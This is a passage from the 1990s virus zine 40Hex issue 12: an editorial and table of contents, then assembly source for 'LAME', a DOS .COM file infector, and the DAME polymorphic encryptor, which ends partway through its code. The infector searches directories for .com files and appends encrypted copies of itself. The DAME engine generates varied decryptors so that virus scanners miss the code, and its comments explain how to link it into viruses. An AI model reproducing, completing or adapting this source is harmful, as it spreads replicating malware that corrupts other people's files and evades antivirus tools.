5907 lines
240 KiB
Plaintext
5907 lines
240 KiB
Plaintext
40Hex Number 12 Volume 3 Issue 3 File 000
|
|
|
|
Welcome to 40Hex issue 12. This issue confirms that we are no
|
|
longer in our hibernation period (i.e. laziness). We have been out of
|
|
the virus scene for quite some time, due to physical circumstances
|
|
beyond our control. We have done a lot of reorganization, and trimmed
|
|
our fat a little bit. You can expect a lot from us in the upcoming
|
|
year, and I can assure you, you won't be dissappointed. Due to the
|
|
large gap of time between issue 11 and issue 12, some of the information
|
|
in here may be a little outdated.
|
|
|
|
We are going to get a little bit more political then we used to be,
|
|
but we will still keep cranking out the high quality technical
|
|
information that you all enjoy. I would strongly recommend that you
|
|
don't skip over the political parts of the magazine, because there are
|
|
people who want to make laws that will affect every reader of this
|
|
magazine.
|
|
|
|
On a completely seperate note, we can now be reached via Internet.
|
|
If you have any comments about the magazine, news articles, editorials,
|
|
etc. we'd like to know, and we'll probably put all of the interesting
|
|
letters into the magazine. Email us at:
|
|
|
|
fortyhex@mindvox.phantom.com
|
|
|
|
->GHeap
|
|
|
|
Table Of Contents
|
|
|
|
40Hex-12.000....................We're ba-ack
|
|
40Hex-12.001....................DAME Source 'Updated'
|
|
40Hex-12.002....................40Hex Hardcopy Rumors Confirmed
|
|
40Hex-12.003....................A Self Dis-Infecting .COM File
|
|
40Hex-12.004....................AIS BBS Commentary
|
|
40Hex-12.005....................Natas Virus By Priest
|
|
40Hex-12.006....................A Commentary by Sara Gordon
|
|
40Hex-12.007....................Nympho Mitosis 2.0 Debug Script
|
|
40Hex-12.008....................Viruses In The News
|
|
40Hex-12.009....................OS/2 Virus Source
|
|
|
|
Greets Fly out to: Urnst Kouch [And all other Crypt People], Nowhere Man,
|
|
The Attitude Adjuster, Omega and all of TridenT, Arthur Ellis, and
|
|
anyone else we may have forgotten.
|
|
|
|
40Hex Number 12 Volume 3 Issue 3 File 001
|
|
|
|
DAME, Revisited
|
|
By Dark Angel of Phalcon/Skism
|
|
|
|
As many of you may have noticed, the DAME presented in the last
|
|
issue of 40Hex many moons ago had a few flaws, chief of which was
|
|
a problem with the prefetch queue. Thanks to everyone who pointed
|
|
this out to me and jeers to Intel. It was also a mite weak in the
|
|
code generated. This version corrects several flaws present in the
|
|
original version. See the source code for a more in-depth discussion
|
|
of the improvements.
|
|
|
|
In this article, I present another lame virus to be linked with DAME.
|
|
The debug script is included at the end of the article and the source
|
|
code can be found following this short text. Before attempting to
|
|
assemble the source code, note that it is broken up into two files:
|
|
LAME.ASM and DAME.ASM. MAKE SURE YOU SEPARATE THEM FIRST! Some
|
|
complained that the source code didn't assemble in the last issue;
|
|
that was simply because they didn't break up the files.
|
|
|
|
DA
|
|
|
|
--Begin LAME.ASM--------------------------------------------------------------- .model tiny
|
|
.code
|
|
.radix 16
|
|
org 100
|
|
|
|
start: jmp temp ; The next two lines will be patched in
|
|
; cld ; DAME may have altered DF
|
|
; mov bx,ds
|
|
call calc_off
|
|
|
|
old4 dw 20cdh, 0
|
|
fmask db '*.com',0
|
|
dmask db '..',0
|
|
|
|
db 0dh,'This is a lame virus slapped together by DA/PS',0Dh,0A
|
|
db 'To demonstrate DAME 0.91',0Dh,0A,1a
|
|
|
|
vars = 0
|
|
include dame.asm ; include the code portion of DAME
|
|
|
|
calc_off:
|
|
pop si
|
|
mov ax,si
|
|
mov cl,4
|
|
shr ax,cl
|
|
sub ax,10
|
|
add ax,bx
|
|
mov bx,offset enter_vir
|
|
push ax bx
|
|
retf
|
|
|
|
enter_vir:
|
|
mov di,100
|
|
push es di es es
|
|
movsw
|
|
movsw
|
|
enter_vir0:
|
|
push cs cs
|
|
pop es ds
|
|
mov ah,1a
|
|
mov dx,offset new_dta ; set new DTA
|
|
int 21
|
|
|
|
mov ah,47
|
|
cwd
|
|
mov si,offset old_path+1
|
|
mov byte ptr [si-1],'\'
|
|
int 21
|
|
|
|
mov inf_cnt,4
|
|
|
|
call rnd_init_seed
|
|
inf_dir:mov ah,4e
|
|
mov dx,offset fmask
|
|
fnext: int 21
|
|
jnc inf_file
|
|
|
|
mov ah,3bh
|
|
mov dx,offset dmask
|
|
int 21
|
|
jnc inf_dir
|
|
done_all:
|
|
mov ah,3bh
|
|
mov dx,offset old_path
|
|
int 21
|
|
|
|
pop es ds ; restore the DTA
|
|
mov dx,80
|
|
mov ah,1a
|
|
int 21
|
|
|
|
retf ; return to carrier
|
|
|
|
inf_file:
|
|
mov ax,3d00
|
|
mov dx,offset new_dta + 1e
|
|
int 21
|
|
jc _fnext
|
|
xchg ax,bx
|
|
|
|
mov ah,3f
|
|
mov cx,4
|
|
mov dx,offset old4
|
|
int 21
|
|
|
|
mov ah,3e
|
|
int 21
|
|
|
|
cmp old4,0e9fc
|
|
jz _fnext
|
|
add al,ah
|
|
cmp al,'Z'+'M'
|
|
jz _fnext
|
|
call infect
|
|
dec inf_cnt
|
|
jz done_all
|
|
_fnext:
|
|
mov ah,4f
|
|
jmp short fnext
|
|
|
|
infect: mov ax,3d00
|
|
mov dx,offset new_dta + 1e
|
|
int 21
|
|
push ax
|
|
xchg ax,bx
|
|
|
|
mov ax,1220
|
|
int 2f
|
|
|
|
mov ax,1216
|
|
mov bl,es:di
|
|
mov bh,0
|
|
int 2f
|
|
|
|
pop bx
|
|
|
|
mov word ptr es:[di+2],2
|
|
|
|
mov ax,es:[di+11]
|
|
mov bp,ax
|
|
mov cx,4
|
|
sub ax,cx
|
|
mov patch,ax
|
|
|
|
mov ah,40
|
|
mov dx,offset oFCE9
|
|
int 21
|
|
|
|
mov word ptr es:[di+15],bp
|
|
|
|
push es di cs
|
|
pop es
|
|
|
|
mov si,100
|
|
mov di,offset copyvirus
|
|
mov cx,(heap - start + 1)/2
|
|
rep movsw
|
|
|
|
mov ax,0000000000001011b
|
|
mov dx,offset copyvirus
|
|
mov cx,heap - start
|
|
mov si,offset _decryptbuffer
|
|
mov di,offset _encryptbuffer
|
|
push dx bx si
|
|
mov bx,bp
|
|
inc bh
|
|
call dame
|
|
|
|
mov ah,40
|
|
pop dx bx
|
|
int 21
|
|
|
|
mov ah,40
|
|
mov cx,heap - start
|
|
pop dx
|
|
int 21
|
|
|
|
pop di es
|
|
or byte ptr es:[di+6],40
|
|
|
|
mov ah,3e
|
|
int 21
|
|
|
|
retn
|
|
|
|
oFCE9 dw 0e9fc
|
|
heap:
|
|
patch dw ?
|
|
inf_cnt db ?
|
|
|
|
vars = 1
|
|
include dame.asm ; include the heap portion of DAME
|
|
|
|
old_path db 41 dup (?)
|
|
new_dta db 2c dup (?)
|
|
_encryptbuffer: db 80 dup (?)
|
|
_decryptbuffer: db 1a0 dup (?)
|
|
copyvirus db heap - start + 20 dup (?)
|
|
|
|
temp: mov byte ptr ds:[100],0fc
|
|
mov word ptr ds:[101],0db8c
|
|
xor di,di
|
|
push cs di cs cs
|
|
jmp enter_vir0
|
|
|
|
end start
|
|
--End LAME.ASM--Begin DAME.ASM-------------------------------------------------
|
|
comment #
|
|
|
|
Dark Angel's Multiple Encryptor
|
|
Version 0.91
|
|
By Dark Angel of Phalcon/Skism
|
|
|
|
This source may be freely distributed. Modifications are
|
|
encouraged and modified redistribution is allowed provided
|
|
this notice and the revision history to date are not altered.
|
|
You are free to append to the revision history and update the
|
|
usage information.
|
|
|
|
Welcome to the source code for Dark Angel's Multiple Encryptor.
|
|
I, Dark Angel, will be your host for this short excursion through
|
|
a pretty nifty encryptor.
|
|
|
|
DAME 0.90 (1574 bytes)
|
|
~~~~ ~~~~ ~~~~~~~~~~~~
|
|
Initial release.
|
|
|
|
DAME 0.91 (1960 bytes)
|
|
~~~~ ~~~~ ~~~~~~~~~~~~
|
|
Source code commented.
|
|
|
|
The user no longer needs to call the encryption routine manually;
|
|
the routine calls it automatically. This makes DAME a bit more
|
|
"user friendly."
|
|
|
|
Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
|
|
is now supported.
|
|
|
|
Added "double-reference" encryptions. Example:
|
|
mov ax,[bx+3212]
|
|
xor ax,3213
|
|
mov [bx+3212],ax
|
|
|
|
There is now a bitflag option to generate a decryptor which will transfer
|
|
control to the buffer on a paragraph boundary.
|
|
|
|
There is now a 1% chance that no encryption will be encoded when
|
|
the "do_encrypt1" routine is called. Of course, null effect
|
|
encryptors may still be generated.
|
|
|
|
garble_jmpcond is much more robust. It can now put valid instructions
|
|
between the conditional jump and the target of the jump. Therefore,
|
|
there is no longer a multitude of JZ $+2's and the like. Instead, they
|
|
are replaced by JZ $+4, XOR BX,BX, for example.
|
|
|
|
The register tracker is cleared after the loop is completed. This makes
|
|
sense, since the registers are no longer needed. This also allows for the
|
|
manipulation of those used registers in the garbling after the loop is
|
|
completed.
|
|
|
|
Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
|
|
MOVes added. Memory PUSHes and POPs are now supported.
|
|
|
|
The maximum nesting value is now the variable _maxnest, which can range
|
|
from 0 to MAXNEST. _maxnest is determined randomly at runtime. This makes
|
|
the decryption routines a bit more interesting. _nest is also cleared more
|
|
times during the run so that variability is continuous throughout.
|
|
|
|
Short decryptor option added. This is automatically used when generating
|
|
the encryptor so the encryptor will always be of minimal length.
|
|
|
|
More alignments are now possible. This makes the initial values of the
|
|
registers more flexible.
|
|
|
|
BUG FIXES:
|
|
|
|
BP is now preserved on exit
|
|
|
|
Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
|
|
See routine named "clear_PIQ"
|
|
|
|
Loopnz routines had possibility of not working properly; instruction
|
|
eliminated.
|
|
|
|
NOTES:
|
|
|
|
I forgot to give credit to the person from whom I stole the random number
|
|
routines. I took them from the routine embedded in TPE 1.x (I misremember
|
|
the version number). Many thanks to Masud Khafir!
|
|
|
|
USAGE:
|
|
|
|
ON ENTRY:
|
|
ax = flags
|
|
bit 15 : Use two registers for pointer : 0 = no, 1 = yes
|
|
bit 14 : Align size : 0 = word, 1 = dword
|
|
bit 13 : Encryption direction : 0 = forwards, 1 = backwards
|
|
bit 12 : Counter direction : 0 = forwards, 1 = backwards
|
|
bit 11 : Counter register used : 0 = no, 1 = yes
|
|
bit 10 : Temporary storage for double reference
|
|
bit 9 : Unused
|
|
bit 8 : Unused
|
|
bit 7 : Unused
|
|
bit 6 : Unused
|
|
bit 5 : Unused
|
|
bit 4 : Unused
|
|
bit 3 : return control on paragraph boundary : 1 = yes, 0 = no
|
|
bit 2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
|
|
bit 1 : garble : 1 = yes, 0 = no
|
|
bit 0 : SS = DS = CS : 1 = yes, 0 = no
|
|
bx = start decrypt in carrier file
|
|
cx = encrypt length
|
|
dx = start encrypt
|
|
si = buffer to put decryption routine
|
|
di = buffer to put encryption routine
|
|
|
|
ds = cs on entry
|
|
es = cs on entry
|
|
|
|
RETURNS:
|
|
cx = decryption routine length
|
|
DF cleared
|
|
all other registers are preserved.
|
|
The RADIX is set to 16d.
|
|
|
|
NOTES:
|
|
|
|
rnd_init_seed is _not_ called by DAME. The user must explicitly call it.
|
|
|
|
The buffer containing the routine to be encrypted should be 20 bytes
|
|
larger than the size of the routine. This allows padding to work.
|
|
|
|
The decryption routine buffer should be rather large to accomodate the
|
|
large decryptors which may be generated.
|
|
|
|
The encryption routine buffer need not be very large; 80h bytes should
|
|
suffice. 90d bytes is probably enough, but this value is untested.
|
|
#
|
|
|
|
.radix 10h
|
|
|
|
ifndef vars
|
|
vars = 2
|
|
endif
|
|
|
|
if not vars eq 1 ; if (vars != 1)
|
|
|
|
_ax = 0
|
|
_cx = 1
|
|
_dx = 2
|
|
_bx = 3
|
|
_sp = 4
|
|
_bp = 5
|
|
_si = 6
|
|
_di = 7
|
|
|
|
_es = 8
|
|
_cs = 9
|
|
_ss = 0a
|
|
_ds = 0bh
|
|
|
|
; The constant MAXNEST determines the maximum possible level of nesting
|
|
; possible in any generated routine. If the value is too large, then
|
|
; recursion problems will cause a stack overflow and the program will
|
|
; crash. So don't be too greedy. 0Ah is a safe value to use for non-
|
|
; resident viruses. Use smaller values for resident viruses.
|
|
ifndef MAXNEST ; User may define MAXNEST prior to including
|
|
MAXNEST = 0a ; the DAME source code. The user's value will
|
|
endif ; then take precedence
|
|
|
|
rnd_init_seed:
|
|
push dx cx bx
|
|
mov ah,2C ; get time
|
|
int 21
|
|
|
|
in al,40 ; port 40h, 8253 timer 0 clock
|
|
mov ah,al
|
|
in al,40 ; port 40h, 8253 timer 0 clock
|
|
xor ax,cx
|
|
xor dx,ax
|
|
jmp short rnd_get_loop_done
|
|
get_rand:
|
|
push dx cx bx
|
|
in al,40 ; get from timer 0 clock
|
|
db 5 ; add ax, xxxx
|
|
rnd_get_patch1 dw 0
|
|
db 0BA ; mov dx, xxxx
|
|
rnd_get_patch2 dw 0
|
|
mov cx,7
|
|
|
|
rnd_get_loop:
|
|
shl ax,1
|
|
rcl dx,1
|
|
mov bl,al
|
|
xor bl,dh
|
|
jns rnd_get_loop_loc
|
|
inc al
|
|
rnd_get_loop_loc:
|
|
loop rnd_get_loop
|
|
|
|
rnd_get_loop_done:
|
|
mov rnd_get_patch1,ax
|
|
mov rnd_get_patch2,dx
|
|
mov al,dl
|
|
pop bx cx dx
|
|
retn
|
|
|
|
reg_table1:
|
|
; reg1 reg2 mod/00/rm This is used to handle memory addressing
|
|
db _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
|
|
db _bp, 84, 10000110b ; if (reg2 == 84)
|
|
db _di, 84, 10000101b ; reg2 = NULL;
|
|
db _si, 84, 10000100b
|
|
|
|
db _bp, _di, 10000011b
|
|
db _bp, _si, 10000010b
|
|
db _bx, _di, 10000001b
|
|
db _bx, _si, 10000000b
|
|
db _di, _bp, 10000011b
|
|
db _si, _bp, 10000010b
|
|
db _di, _bx, 10000001b
|
|
db _si, _bx, 10000000b
|
|
|
|
aligntable db 3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks
|
|
|
|
redo_dame:
|
|
pop di bp si dx cx bx ax
|
|
dame: ; Dark Angel's Multiple Encryptor
|
|
cld
|
|
push ax bx cx dx si bp di
|
|
call _dame
|
|
pop di
|
|
push cx di
|
|
call di
|
|
pop di cx bp si dx bx bx ax
|
|
ret
|
|
|
|
_dame: ; set up initial values of the variables
|
|
cld
|
|
push ax
|
|
|
|
mov ax,offset _encryptpointer
|
|
xchg ax,di ; save the pointer to the
|
|
stosw ; encryption routine buffer
|
|
xchg si,ax ; also save the pointer to
|
|
stosw ; the decryption routine
|
|
; buffer in the same manner
|
|
stosw
|
|
|
|
xchg ax,dx ; starting offset of
|
|
stosw ; encryption
|
|
xchg ax,bx ; starting offset of
|
|
stosw ; decryption routine
|
|
|
|
xchg cx,dx ; dx = encrypt size
|
|
|
|
xor ax,ax
|
|
mov cx,(endclear1 - beginclear1) / 2; clear additional data
|
|
rep stosw ; area
|
|
|
|
call get_rand ; get a random number
|
|
and ax,not 0f ; clear user-defined bits
|
|
|
|
pop cx ; cx = bitmask
|
|
xor cx,ax ; randomize top bits
|
|
|
|
call get_rand_bx ; get a random number
|
|
and bx,7 ; and lookup in the table
|
|
mov al,byte ptr [bx+aligntable] ; for a random rounding size
|
|
cbw
|
|
add dx,ax ; round the encryption
|
|
not ax ; size to next word, dword,
|
|
and dx,ax ; etc.
|
|
|
|
mov ax,dx ; save the new encryption
|
|
stosw ; length (_encrypt_length)
|
|
|
|
shr ax,1 ; convert to words
|
|
test ch,40 ; encrypting double wordly?
|
|
jz word_encryption ; nope, only wordly encryption
|
|
shr ax,1 ; convert to double words
|
|
word_encryption: ; all the worldly encryption
|
|
test ch,10 ; shall do thee no good, my
|
|
jnz counter_backwards ; child, lest you repent for
|
|
neg ax ; the sins of those who would
|
|
counter_backwards: ; bring harm unto others
|
|
stosw ; save _counter_value
|
|
push dx ; Save rounded length
|
|
|
|
call get_rand ; get a random value for the
|
|
stosw ; encryption value
|
|
; (_decrypt_value)
|
|
pop ax ; get rounded encryption length
|
|
; in bytes
|
|
test ch,20 ; is the encryption to run
|
|
jnz encrypt_forwards ; forwards or backwards?
|
|
neg ax ; Adjust for forwards
|
|
encrypt_forwards:
|
|
xor bx,bx ; Assume pointer_value2 = 0
|
|
|
|
test ch,80 ; Dual pointer registers?
|
|
jz no_dual
|
|
call get_rand_bx
|
|
sub ax,bx
|
|
no_dual:stosw ; Save the pointers to the
|
|
xchg ax,bx ; decryption (_pointer_value1
|
|
stosw ; and _pointer_value2)
|
|
|
|
; The following lines determine the registers that go with each function.
|
|
; There are a maximum of four variable registers in each generated
|
|
; encryption/decryption routine pair -- the counter, two pointer registers,
|
|
; and an encryption value register. Only one pointer register need be present
|
|
; in the pair; the other three registers are present only if they are needed.
|
|
|
|
s0: call clear_used_regs
|
|
mov di,offset _counter_reg
|
|
mov al,84 ; Assume no counter register
|
|
test ch,8 ; Using a counter register?
|
|
jz s1
|
|
call get_rand ; get a random initial value
|
|
mov _pointer_value1,ax ; for the pointer register
|
|
call get_another ; get a counter register
|
|
s1: stosb ; Store the counter register
|
|
|
|
xchg ax,dx
|
|
|
|
mov al,84 ; Assume no encryption register
|
|
call one_in_two ; 50% change of having an
|
|
js s2 ; encryption register
|
|
; Note: This merely serves as
|
|
; an extra register and may or
|
|
; may not be used as the
|
|
; encryption register.
|
|
call get_another ; get a register to serve as
|
|
s2: stosb ; the encryption register
|
|
|
|
cmp ax,dx ; normalise counter/encryption
|
|
ja s3 ; register pair so that the
|
|
xchg ax,dx ; smaller one is always in the
|
|
s3: mov ah,dl ; high byte
|
|
cmp ax,305 ; both BX and BP used?
|
|
jz s0 ; then try again
|
|
cmp ax,607 ; both SI and DI used?
|
|
jz s0 ; try once more
|
|
|
|
s4: mov si,offset reg_table1 ; Use the table
|
|
mov ax,3 ; Assume one pointer register
|
|
test ch,80 ; Using two registers?
|
|
jz use_one_pointer_reg
|
|
add si,4*3 ; Go to two register table
|
|
add al,4 ; Then use appropriate mask
|
|
use_one_pointer_reg:
|
|
call get_rand_bx ; Get a random value
|
|
and bx,ax ; Apply mask to it
|
|
add si,bx ; Adjust table offset
|
|
add bx,bx ; Double the mask
|
|
add si,bx ; Now table offset is right
|
|
lodsw ; Get the random register pair
|
|
mov bx,ax ; Check if the register in the
|
|
and bx,7 ; low byte is already used
|
|
cmp byte ptr [bx+_used_regs],0
|
|
jnz s4 ; If so, try again
|
|
mov bl,ah ; Otherwise, check if there is
|
|
or bl,bl ; a register in the high byte
|
|
js s5 ; If not, we are done
|
|
cmp byte ptr [bx+_used_regs],0 ; Otherwise, check if it is
|
|
jnz s4 ; already used
|
|
s5: stosw ; Store _pointer_reg1,
|
|
movsb ; _pointer_reg2, and
|
|
; _pointer_rm
|
|
calculate_maxnest:
|
|
call get_rand ; Random value for _maxnest
|
|
and al,0f ; from 0 to MAXNEST
|
|
cmp al,MAXNEST ; Is it too large?
|
|
ja calculate_maxnest ; If so, try again
|
|
stosb ; Otherwise, we have _maxnest
|
|
|
|
call clear_used_regs ; mark no registers used
|
|
encode_setup: ; encode setup portion
|
|
mov di,_decryptpointer ; (pre-loop) of the routines
|
|
call twogarble ; start by doing some garbling
|
|
; on the decryption routine
|
|
mov si,offset _counter_reg ; now move the initial
|
|
push si ; values into each variable
|
|
encode_setup_get_another: ; register -- encode them in a
|
|
call get_rand_bx ; random order for further
|
|
; variability
|
|
and bx,3 ; get a random register to en-
|
|
mov al,[si+bx] ; code, i.e. counter, pointer,
|
|
cbw ; or encryption value register
|
|
test al,80 ; is it already encoded?
|
|
jnz encode_setup_get_another ; then get another register
|
|
|
|
or byte ptr [bx+_counter_reg],80 ; mark it encoded in both the
|
|
mov si,ax ; local and
|
|
inc byte ptr [si+_used_regs] ; master areas
|
|
|
|
add bx,bx ; convert to word offset
|
|
mov dx,word ptr [bx+_counter_value] ; find value to set the
|
|
; register to
|
|
mov _nest,0 ; clear the current nest count
|
|
call mov_reg_xxxx ; and encode decryption routine
|
|
; instruction
|
|
call twogarble ; garble it some more
|
|
call swap_decrypt_encrypt ; now work on the encryption
|
|
; routine
|
|
push cx ; save the current bitmap
|
|
and cl,not 7 ; encode short routines only
|
|
call _mov_reg_xxxx ; encode the encryption routine
|
|
; instruction
|
|
pop cx ; restore bitmap
|
|
|
|
mov _encryptpointer,di ; return attention to the
|
|
; decryption routine
|
|
pop si
|
|
mov dx,4
|
|
encode_setup_check_if_done: ; check if all the variables
|
|
; have been encoded
|
|
lodsb ; get the variable
|
|
test al,80 ; is it encoded?
|
|
jz encode_setup ; nope, so continue encoding
|
|
dec dx ; else check the next variable
|
|
jnz encode_setup_check_if_done ; loop upwards
|
|
|
|
mov si,offset _encryptpointer ; Save the addresses of the
|
|
mov di,offset _loopstartencrypt ; beginning of the loop in
|
|
movsw ; the encryption and decryption
|
|
movsw ; routines
|
|
|
|
; Encode the encryption/decryption part of loop
|
|
mov _relocate_amt,0 ; reset relocation amount
|
|
call do_encrypt1 ; encode encryption
|
|
|
|
test ch,40 ; dword encryption?
|
|
jz dont_encrypt2 ; nope, skip
|
|
|
|
mov _relocate_amt,2 ; handle next word to encrypt
|
|
call do_encrypt1 ; and encrypt!
|
|
dont_encrypt2:
|
|
; Now we are finished encoding the decryption part of the loop. All that
|
|
; remains is to encode the loop instruction, garble some more, and patch
|
|
; the memory manipulation instructions so they encrypt/decrypt the proper
|
|
; memory locations.
|
|
mov bx,offset _loopstartencrypt ; first work on the encryption
|
|
push cx ; save the bitmap
|
|
and cl,not 7 ; disable garbling/big routines
|
|
call encodejmp ; encode the jmp instruction
|
|
pop cx ; restore the bitmap
|
|
|
|
mov ax,0c3fc ; cld, ret ; encode return instruction
|
|
stosw ; in the encryption routine
|
|
|
|
mov si,offset _encrypt_relocator ; now fix the memory
|
|
mov di,_start_encrypt ; manipulation instructions
|
|
|
|
push cx ; cx is not auto-preserved
|
|
call relocate ; fix address references
|
|
pop cx ; restore cx
|
|
|
|
mov bx,offset _loopstartdecrypt ; Now work on decryption
|
|
call encodejmp ; Encode the jmp instruction
|
|
push di ; Save the current pointer
|
|
call clear_used_regs ; Mark all registers unused
|
|
pop di ; Restore the pointer
|
|
call twogarble ; Garble some more
|
|
test cl,8 ; Paragraph alignment on
|
|
jnz align_paragraph ; entry to virus?
|
|
test ch,20 ; If it is a backwards
|
|
jz no_clear_prefetch ; decryption, then flush the
|
|
call clear_PIQ ; prefetch queue (for 386+)
|
|
no_clear_prefetch: ; Curse the PIQ!!!!!
|
|
call twogarble ; Garble: the final chapter
|
|
jmp short PIQ_done
|
|
align_paragraph:
|
|
mov dx,di ; Get current pointer location
|
|
sub dx,_decryptpointer2 ; Calculate offset when control
|
|
add dx,_start_decrypt ; is transfered to the carrier
|
|
inc dx ; Adjust for the JMP SHORT
|
|
inc dx
|
|
neg dx
|
|
and dx,0f ; Align on the next paragraph
|
|
cmp dl,10-2 ; Do we need to JMP?
|
|
jnz $+7 ; Yes, do it now
|
|
test ch,20 ; Otherwise, check if we need
|
|
jz PIQ_done ; to clear the prefetch anyway
|
|
call clear_PIQ_jmp_short ; Encode the JMP SHORT
|
|
PIQ_done:
|
|
mov _decryptpointer,di
|
|
|
|
mov si,offset _decrypt_relocator ; Calculate relocation amount
|
|
sub di,_decryptpointer2
|
|
add di,_start_decrypt
|
|
relocate:
|
|
test ch,20 ; Encrypting forwards or
|
|
jz do_encrypt_backwards ; backwards?
|
|
add di,_encrypt_length ; Backwards is /<0oI_
|
|
do_encrypt_backwards: ; uh huh uh huh uh huh
|
|
sub di,_pointer_value1 ; Calculate relocation amount
|
|
sub di,_pointer_value2
|
|
mov cx,word ptr [si-2] ; Get relocation count
|
|
jcxz exit_relocate ; Exit if nothing to do
|
|
xchg ax,di ; Otherwise we be in business
|
|
relocate_loop: ; Here we go, yo
|
|
xchg ax,di
|
|
lodsw ; Get address to relocate
|
|
xchg ax,di
|
|
add [di],ax ; Relocate mah arse!
|
|
loop relocate_loop ; Do it again 7 times
|
|
exit_relocate: ; ('cause that makes 8)
|
|
mov di,_decryptpointer ; Calculate the decryption
|
|
mov cx,di ; routine size to pass
|
|
sub cx,_decryptpointer2 ; back to the caller
|
|
ret
|
|
|
|
encodejmp:
|
|
mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
|
|
|
|
push bx
|
|
mov _nest,0 ; Reset nest count
|
|
mov al,_pointer_reg1 ; Get the pointer register
|
|
and ax,7 ; Mask out any modifications
|
|
mov dx,2 ; Assume word encryption
|
|
test ch,40 ; Word or Dword?
|
|
jz update_pointer1
|
|
shl dx,1 ; Adjust for Dword encryption
|
|
update_pointer1:
|
|
test ch,20 ; Forwards or backwards?
|
|
jz update_pointer2
|
|
neg dx ; Adjust for backwards
|
|
update_pointer2:
|
|
test ch,80 ; Are there two pointers?
|
|
jz update_pointer_now ; Continue only if so
|
|
|
|
sar dx,1 ; Halve the add value
|
|
push ax ; Save register to add
|
|
call add_reg_xxxx ; Add to first register
|
|
mov al,_pointer_reg2
|
|
and ax,7 ; Add to the second pointer
|
|
call add_reg_xxxx ; register
|
|
pop bx
|
|
test ch,8 ; Using a counter register?
|
|
jnz update_pointer_done ; If not, continue this
|
|
|
|
push bx ; Save first register
|
|
xchg ax,dx ; Move second register to DX
|
|
call get_another ; Get new register regX
|
|
call mov_reg_reg ; MOV regX, _pointer_reg2
|
|
pop dx ; Restore first register
|
|
call add_reg_reg ; ADD regX, _pointer_reg1
|
|
call clear_reg ; Clear the temp register
|
|
jmp short update_pointer_done ; Skip adjustment of pointer
|
|
; register (already done)
|
|
update_pointer_now:
|
|
call add_reg_xxxx ; Adjust pointer register
|
|
update_pointer_done:
|
|
mov dl,75 ; Assume JNZ
|
|
|
|
mov al,_counter_reg ; Is there a counter register?
|
|
and ax,7
|
|
cmp al,_sp
|
|
jz do_jnz
|
|
|
|
push dx ; Save JNZ
|
|
mov dx,1 ; Assume adjustment of one
|
|
|
|
test ch,10 ; Check counter direction
|
|
jz go_counter_forwards ; If forwards, increment the
|
|
; counter
|
|
cmp al,_cx ; Check if the counter is CX
|
|
jnz regular ; If not, then decrement the
|
|
; counter and continue
|
|
call one_in_two ; Otherwise, there is a 50%
|
|
js regular ; chance of using a LOOP
|
|
|
|
pop dx
|
|
mov dl,0e2 ; let us encode the LOOP
|
|
jmp short do_jnz
|
|
|
|
regular:neg dx
|
|
go_counter_forwards:
|
|
call add_reg_xxxx ; Adjust counter register
|
|
pop dx
|
|
do_jnz: pop bx
|
|
mov ax,[bx] ; Calculate value to JNZ/LOOP
|
|
sub ax,di ; back
|
|
dec ax
|
|
dec ax
|
|
xchg ah,al ; Value is in AL
|
|
mov al,dl ; jnz
|
|
|
|
or ah,ah ; Value >= 128? If so, it is
|
|
js jmplocation_okay ; impossible to JNZ/LOOP there
|
|
; due to stupid 8086 limitation
|
|
pop ax ax ; Take return locations off
|
|
jmp redo_dame ; the stack and encode again
|
|
jmplocation_okay:
|
|
stosw ; Encode JNZ/LOOP instruction
|
|
mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
|
|
ret ; Save current location
|
|
|
|
encryption:
|
|
; This routine encodes the instruction which actually manipulates the memory
|
|
; location pointed to by the pointer register.
|
|
and ch,not 4 ; Default = no double reference
|
|
call one_in_two ; But there is a 50% chance of
|
|
js not_double_reference ; using a double reference
|
|
or ch,4 ; Yes, we are indeed using it
|
|
not_double_reference:
|
|
mov di,_decryptpointer ; Set the registers to work
|
|
mov bp,offset _decrypt_relocate_num ; with the decryption routine
|
|
call twogarble ; Insert some null instructions
|
|
|
|
xor ax,ax ; Get the value for the rm
|
|
mov al,_pointer_rm ; field corresponding to the
|
|
; pointer register/s used
|
|
call choose_routine ; Get random decryption type
|
|
call go_next ; to DX, BX, SI
|
|
push si dx si dx ; Save crypt value/register
|
|
; and crypt pointer
|
|
;; mov _nest,0 ; not needed - choose_routine does it
|
|
test ch,4
|
|
jz not_double_reference1 ; Double reference?
|
|
|
|
xchg ax,dx ; Pointer register/s to dx
|
|
call get_another ; Unused register to AX (reg1)
|
|
call mov_reg_reg ; MOV reg1,[pointer]
|
|
mov _kludge,dx ; Store the pointer register
|
|
not_double_reference1:
|
|
pop dx si ; Restore decryption pointer
|
|
call handle_jmp_table ; Encode decryption routine
|
|
push bx ; Save routine that was used
|
|
call twogarble ; Garble some more for fun
|
|
|
|
test ch,4
|
|
jz not_double_reference2 ; Double reference?
|
|
|
|
xchg ax,dx ; reg1 to dx
|
|
mov ax,_kludge ; Restore pointer
|
|
push ax ; Save pointer
|
|
call mov_reg_reg ; MOV [pointer],reg1
|
|
call clear_reg_dx ; Return reg1 to free pool
|
|
pop ax ; Restore pointer
|
|
not_double_reference2:
|
|
mov bp,offset _encrypt_relocate_num ; Set the registers to work
|
|
call swap_decrypt_encrypt ; with the encryption routine
|
|
|
|
pop bx dx si ; Restore crypt value/register
|
|
call go_next ; Convert to encryption table
|
|
jmp short finish_encryption ; and encode the encryption
|
|
; corresponding to the
|
|
; decryption
|
|
do_encrypt1: ; Perform encryption on a word
|
|
call playencrypt ; Alter encryption value
|
|
call get_rand ; Have a tiny chance
|
|
cmp ax,6 ; (1% chance) of not
|
|
jb playencrypt ; encrypting at all
|
|
call encryption ; Encrypt!
|
|
playencrypt: ; Update the encryption value
|
|
mov di,_decryptpointer
|
|
call twogarble
|
|
|
|
mov al,_encrypt_reg ; Encryption register used?
|
|
and ax,7
|
|
cmp al,4
|
|
jz swap_decrypt_encrypt
|
|
|
|
call get_rand_bx ; 75% chance of altering the
|
|
cmp bl,0c0 ; encryption value register
|
|
ja swap_decrypt_encrypt ; Exit if nothing is to occur
|
|
|
|
call choose_routine ; Select a method of updating
|
|
call handle_jmp_table_nogarble ; Encode the decryption
|
|
call swap_decrypt_encrypt ; Now work on encryption
|
|
finish_encryption:
|
|
push cx ; Save current bitmask
|
|
